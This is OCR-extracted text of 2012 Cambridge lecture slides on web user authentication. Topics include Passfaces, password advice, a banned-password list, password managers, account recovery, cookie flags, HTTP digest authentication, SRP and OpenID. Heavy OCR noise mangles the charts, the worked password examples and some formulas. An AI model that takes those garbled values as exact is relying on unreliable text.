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Password alternatives

[#ipassfaces

oaTe
0o
ane

Click on Your Passface.
There is only one on the screen.

Mitigates: Brute-force attacks?, trawling attacks?
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Password alternatives

40 T
A
351 J
o
30k [ 1 Forename
-+~ Surname
<. > - = Password [RockYou]
= 251 > , :
g ° o ___-----| |® e Password [Klein]
é 20 -7 ® o Password [Spafford]
50 “UT -7 B .
3 ° ° -7 - © o Password [Schneier]
] -7 T ;
B ope R IR e ¢ Mnemonic [Kuo]
z 161 - Lt g
g Phe IR A A Pass-Go
SR > » PassPoints
1 |v v Passfaces
5E M 1
( . . . .
2].(] 0.2 04 0.6 0.8 1.0

success rate o
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Better password choices

What te do

Start with a sentence or two
(about 10 words total).

Turn your sentences into a row
of letters.

Add complexity.

Add length with numbers.

Adld length with punctuation.

Add length with symbols.

Suggestion

Think of something meaningful
o you.

Use the first letter of each
word.

Make only the letters in the first
half of the alphabet uppercase.

Put two numbers that are
meaningful to you between the
two sentences.

Put a punctuation mark at the
beginning.

Put a symbel at the end.

Example
Long and complex passwords

are safest. | keep mine secret.
(10 words)

lacpasikms {10 characters)

IACpAsIKMs (10 characters)

W CpAssalKMs (12 characters)

AACpAsSEIKMs (13
characters)

NACpAsS6IKMs" (14
characters)

Microsoft password advice

Mitigates: Password guessing

J. Bonneau (U. of Cambridge)
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Better password choices

To construct a good password, create a simple sentence of 8
words and choose letters from the words to make up a password.
You might take the initial or final letters; you should put some
letters in upper case to make the password harder to guess; and at
least one number and/or special character should be inserted as
well. Use this method to generate a password of 7 or 8 characters.

Yan et al. 2004

Mitigates: Password guessing
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Better password choices

40
351 1
°
30+ °© .
Forename
= 251 1 | -~ Surname
g ° ==
£ ° =" . - - Password [RockYou]
2 .- N .
R - 1 |® e Password [Klein]
[ ] -
E e -7 ® e Password [Spafford]
-
e 1 | © Password [Schneier]
.7 B ¢ o Mnemonic [Kuo]
.
0/ -
10 .
[
sk ]
0 ‘ ‘ ‘ ‘
2)1) 0.2 0.4 0.6 0.8 1.0

success rate «
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Better password choices

[This1sAdemo%el ]

ength verdict: (ST

Username Testing You

esesessesee
Password

DavesWeblog [seesseensed

PHP Password ;
Strength Meter Strong

Company: | WRD|
Emait wrd@webresourcesdepot.com
QExtJs Password: | vestoeax1

Minimum Reguirements:

« Minimum & characters in length
« Contains 3/4 of the following items:
- Uppercase Letters
- Lowercase Lstters
- Numbers
- Symbols
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Better password choices

twttr.BANNED_PASSWORDS = [ "000000", "iiiiii", "i11111111", "112233", "121212",
'123123", "123456", "1234567", '12345678", '123456789", "131313", ''232323", "654321",
''666666", "696969", "TTTTTT", "TTTTT7T", "8675309", "987654", "aaaaaa", '"abcl23",

"abc123", "abcdef'", "abgrtyu'", '"access", "accessl4", "action", "albert", "alberto",
"alexis", "alejandra", "alejandro", '"amanda", "amateur", "america", '"andrea',
"andrew'", "angela', "angels", "animal", "anthony", "apollo", "apples", "arsenal",
"arthur", "asdfgh', "asdfgh", "ashley", "asshole", "august", "austin", "badboy",
"bailey", "banana", "barney", "baseball", "batman", "beatriz'", "beaver", '"beavis",

"bigcock", '"bigdaddy", "bigdick", "bigdog", "bigtits", "birdie", "bitches", "biteme",
"blazer", "blonde", "blondes", "blowjob", "blowme", "bond007", "bonita", "bonnie",

"booboo", "booger", "boomer", "boston", "brandon", "brandy", "braves", "brazil",
"bronco", "broncos", "bulldog", "buster", "butter", "butthead", '"calvin", "camaro",
"cameron", 'canada", "captain", '"carlos", "carter", "casper", '"charles", 'charlie",
''cheese", '"chelsea", '"chester", '"chicago", '"chicken", "cocacola", '"coffee",
"tequiero", "taylor", "tennis", '"teresa", "tester", "testing", "theman", "thomas",
"thunder", "thx1138", "tiffany", "tigers", "tigger", '"tomcat", "topgun", "toyota",
"travis", "trouble", "trustnol", "tucker", "turtle", "twitter", "united", "vagina",
"victor", "victoria", "viking", '"voodoo", '"voyager", "walter", "warrior", "welcome",
"whatever", "william", "willie", "wilson", "winner", "winston", "winter", "wizard"
"xavier", "xxxxxx", "xxxxxxxx", "yamaha", "yankee", "yankees'", "yellow", "zxcvbn",
“zxcvbnm", "zzzzzz"];

Twitter banned password list

’ Mitigates: Password guessing ‘
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Better password choices

diceware 166651565315653563223561665224
166 6 5 cleft

1565 3 cam

56 3 2 2 synod

35616 lacy

6 5224yr

password = cleftcamsynodlacyyr

Diceware

Mitigates: Password guessing

J. Bonneau (U. of Cambridge) February 22, 2012 33/41



Better password choices

p—
! Pas S\Hero -

!rﬁlewols <89

More can be less...
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Password managers

Passwords and Exceptions o x
Saved passwords| Exceptions
site Usemame
www.cbssports.com swamijoe
Remove All
www.facebook.com/index.php jbonneau@gmail.com
google.com/accounts/Login .com
Close

Chrome password manager

Mitigates: password recovery, weak passwords?
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Password managers

PasswordManager Pro™

Mitigates: password recovery, weak passwords?
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Password managers
= Py | v

Updated iy 20,2009
Website
Works with
Rating

Downloads 97658 Vien Staisics

PwdHash (Firefox extension)

Mitigates: password recovery, weak passwords, pass-
word re-use, cross-site password compromise
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Password managers

Site Address

http://lwww.example.com/

Site Password

i

Hashed Password
2Swl1Xoq Generate

PwdHash (remote interface)

Mitigates: password recovery, weak passwords, pass-
word re-use, cross-site password compromise
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Better backup authentication

Google accounts

Recovering your password

Add more informationto your account to increase your account-recovery options,

Email

Receive a password-reset link at an email address which Add an email address
yoU £an access.

SMs
Receive a tex message with a password-reset code on Country
your mobile phane United Kingdom -

Mahile phone number
+44 07590 677117

Security question

Answer a question to reset your password

m
=3

Save Cancel

Mitigates: Question guessing, email as failure point
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Better backup authentication

7 New [@ Reply (4 Replyall (& Forward 7 Delete (g Junk =
# & Moveto ~ |52+ Options
**FOR YOU ONLY** Windows Live Account Recovery

Windows Live Account Recovery (live-rec@microsoft.com)
Fri 9/19/08 10:37 AM
Christopher Marlowe (chris.marlowe@live.com)

DO NOT FORWARD ANY PART OF THIS EMAIL TO
ANYONE

This email contains a code that identifies you (the owner of your email
address) to Microsoft

You are receiving this email because your email address,
<chris.marlowe@live.com=, was entered into the Windows Live account recovery
website at hitp://recover.live.com. This site helps Windows Live ID account-holders
reset their passwords when they are otherwise unable to access their account.

We sent you this email in response to a request to help William Shakespeare reset
his password
—If you requested this email (you'll know if you did):

1. Copythe link below: Don't give this link to William Shakespeare or anyone
else
http://recover.live.com/?c=rn . &For you only
2. Open your web browser, paste the link in the address bar, and then press
ENTER.
3. Follow the instructions on the web page that opens

Schecther et al. 2008

Mitigates: Question guessing, email as failure point
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Better backup authentication

{& Windows Live ID Account Recovery - Windows Internet Explorer

O Q) - [l mpirecorerivecom NEIBRIEE
d v Page~ Safety~ Tools~ @~

(& Windows Live ID Account Recovery G-8-=

¢ Favorites

Help a friend reset his or her Windows Live ID password

Use tis form if someone you know asked you to help recover his or her Live ID account
o for

Your email address: chris marlowe@ive.com
If you have muitivle email addresses, ask your friend which of your addresses he
or she provided when sefecting you as an account trustee and enter that address.

What is an account trustas?

Your friend's email address william1564@live.com
This is the email address of the Windows Live ID account (&.g. Hotmail) for which
your friend has forgotten the password.

Next

You will only be able to ssist friends who have already identified you as one of their password-recovery trustees in their Windows Live ID profifes.

22008 Microsoft | Brivacy | Legal Help Central | Fesdback

|| Done @ Internet | Protected Mode: On ®10% ~

Schecther et al. 2008

] Mitigates: Question guessing, email as failure point
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Better backup authentication

Please confirm your identity

Friend 2 of 7

() Kassie
() Sara

() Harrison
O Trista

() Lauren
(O Laura

<

O I'm not sure

Mitigates: Question guessing, email as failure point
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Better backup authentication

nt Activity

Acco

View your recent accourt activity. If you notice an unfamiliar device or location, click "end
ctivity"

Nete: Locations and device types reflect our best guesses based on your ISP or wireless
carrier,

Most Recent Activity

Last Accessed: Today at 3:12pm
Cambridge, ENG, GB (4pproximate)

Firefox on Linux

Also Active
Last Accessed: Yesterday at 6:54pm end
Location: Cambridge, ENG, GB (4pproximate) LLis)
Device Type: Mozila/5 0 (X11; U Linux 1686 en-US)
Applew ebKit/ 534,12 (KHTML, ke Geck o) Ubuntu/9 .10
Chromium/9.0.576.0 Chrome/9.0.576.0 Safari/534 12
Last Accessed: November 1 at 2:12pm end activity
Location: Londan, ENG, GB (Approximate)
Type: Chrome on Win7
Last Accessed: October 29 at 8:17pm end
activity

Loca

Cambridge, ENG, GB (4pproximate)

Device Type: Mozila/5.0 (X11; Uj Linux i686; en-US)
AppleW ebKit/534.11 (KHTML, lice Gecko) Ubuntu/9.10
Chromium/9.0.56 6.0 Chrome/9.0.566.0 Safari’534 11

Last Accessed: October24 at end activity
Cambridge, ENG, GB (Approximate)

Device Type: Firefox on Linux

Locati

 Mitigates: Account takeover

of Cambridge)



Better cookie semantics

HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: wuser_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=fOeb6albdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
httponly;
Content-Length: O

128.28.2.138 <— https://www.example.com

Mitigates: cross-site scripting

J. Bonneau (U. of Cambridge) February 22, 2012 36/ 41



Better cookie semantics

[a)
HTTP/1.1 302 Moved Temporarily ‘

Host: www.example.com

Location: http://www.example.com/main
Set-Cookie: wuser_id=821183;

expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=fOeb6albdff...

expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
secure;

Content-Length: O

128.28.2.138 <— https://www.example.com

Mitigates: post-TLS cookie stealing

J. Bonneau (U. of Cambridge) February 22, 2012 36/ 41



Designed login protocols

GET / HTTP/1.1
Host: www.example.com

128.28.2.138 — www.example.com

HTTP/1.1 401 Authorization Required

Content length: 7661

Content-Type: text/html

WWW-Authenticate: Basic realm="example.com"

128.28.2.138 +— www.example.com

HTTP basic access authentication

 Mitigates: cookie theft |
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Designed login protocols

o0 e

HTTP basic access authentication

Mitigates: cookie theft
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Designed login protocols

GET / HTTP/1.1
Host: www.example.com
Authorization: Basic amNiODI6bmljZXRyeQ==

128.28.2.138 — www.example.com
auth = encodep,sess(User||pass)

HTTP basic access authentication

Mitigates: cookie theft
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Designed login protocols

GET / HTTP/1.1
Host: www.example.com
128.28.2.138 — www.example.com

HTTP/1.1 401 Authorization Required
Content length: 7661

Content-Type: text/html

WWW-Authenticate: Digest
realm="example.com" qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"

128.28.2.138 +— www.example.com

HTTP digest access authentication

Mitigates: password sniffing, database compromise ‘
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Designed login protocols

GET / HTTP/1.1

Host: www.example.com

Authorization: Digest username="jcb82",

realm="www.example.com",

nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",

cnonce="0a4f£113b", nc=00000001,

gop=auth, uri="/dir/index.html",

response="6629fae49393a056397450978507c4ef1",
128.28.2.138 — www.example.com

resp. = H(H(user||pass)||Nserver||counter || Ngjient||H(params))

HTTP digest access authentication

’ Mitigates: password sniffing, database compromise ‘
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Designed login protocols

pubic key client (D —) public ey server
private hey clent @ Client Sewero— privat key server
——
— Phase 1
— D —0P~
Phase z
Phase 3
O
QP
. ol
w5 w
" Phase 4
ancha

TLS client certificates
Mitigates: password sniffing, phishing, DB compromise
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Designed login protocols

Public parameters:
N=29+1,q9.9:[(9)|=q.keZn

Setup:
C—S:Cp
S:s& Zn, X + H(s, p),store C,v = g¥) (mod N)
Authentication:
C— S:C,A=g? (mod N)
S§— C:s,B=k-v+gP (mod N)
C:x<«+H(s,p),K<+H ((B _ k. gX)a+x-H(A,B))
S:K+H ((A vH(AvB))b)

Secure Remote Password (SRP) Protocol
Mitigates: password sniffing, phishing, DB compromise ‘
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Single sign-on

1).’

AProject of the Intemet2 Middleware Inftiative
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Single sign-on

R Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)
User agent (a browser)

Ue — R I'mU@P!

OpeniD
Mitigates: password re-use
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Single sign-on

Registering for Mixx is fast, fun, and easy! Here at Mixx, we don't think y ou should have to create yet another
username and password. We work with several sites that you may already use. Simply select the account you'd like
your new Mix account to work with and we'll handle the rest!

AOL & | ymuoo! | Google | facebook |

Register using your OpenD URL

OpeniD
Mitigates: password re-use
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Single sign-on

R Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)
User agent (a browser)

Use — R I'mU@P!
R +— Kr.p, n + D-H key exchange

OpenlID
Mitigates: password re-use
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Single sign-on

Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)

User agent (a browser)

s

U — R I'mU@P!

R «— Kg-p, n < D-H key exchange

Us +<— R OK, go verify with P (HTTP 302)

Ues — | want to talk to R, who you share n with

OpeniD
Mitigates: password re-use
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Single sign-on

Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)

User agent (a browser)

s

U — R I'mU@P!

R «— Kg-p, n < D-H key exchange

Us +<— R OK, go verify with P (HTTP 302)

Ues — | want to talk to R, who you share n with
U <« Are you sure you want to talk to R?

OpeniD
Mitigates: password re-use
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Single sign-on

GO *‘Sle daccoun ts Sign in as a different user

You are signing in to Mixx.com with your Google Account jhonneau@gmail.com

Sign in Cancel

@ Remember me

“fou can always change your Google Account approval settings. Miccom is not owned,
operated or controlled by Google or its owners. Leam more

OpeniD
Mitigates: password re-use
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Single sign-on

Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)

User agent (a browser)

s

U — R I'mU@P!

R «— Kg-p, n < D-H key exchange

Us +<— R OK, go verify with P (HTTP 302)

Ues — | want to talk to R, who you share n with
Ug <« Sure you want to talk to R?

U — Yes, here’s my password: p

OpeniD
Mitigates: password re-use

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012



Single sign-on

R Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)

User agent (a browser)

R I'mU@P!
Kg-p, n < D-H key exchange
R OK, go verify with P (HTTP 302)
| want to talk to R, who you share n with
Sure you want to talk to R?
Yes, here’s my password: p
Okay, use MAC. (U, P) (HTTP 302)
R MAC. .(U,P)! See, 'm U@

LTLTITT

OpeniD
Mitigates: password re-use ‘
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Single sign-on

R Relying party (www.example.com)
OpenlD Provider (Facebook, Google, etc.)
U End user (a human)
User agent (a browser)

Use — R I'mU@P!
R +— Kg-p, n < D-H key exchange
+— R OK, go verify with P (HTTP 302)
— | want to talk to R, here’s my cookie ¢
— Okay, use MAC. (U, P)
— R MAC, . (U,P)! See, 'm U@

OpenlD (auth-immediate)
Mitigates: password re-use
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Avoiding password collection

(@ BugMeNot

Bypass Compulsory Reglstration

nytimes.com passwords

UNT DETAI

www.bugmenot.com/view/nytimes.com

Mitigates: password re-use across security domains,
database compromise
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Avoiding password collection
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Questions

jcb82@cl.cam.ac.uk
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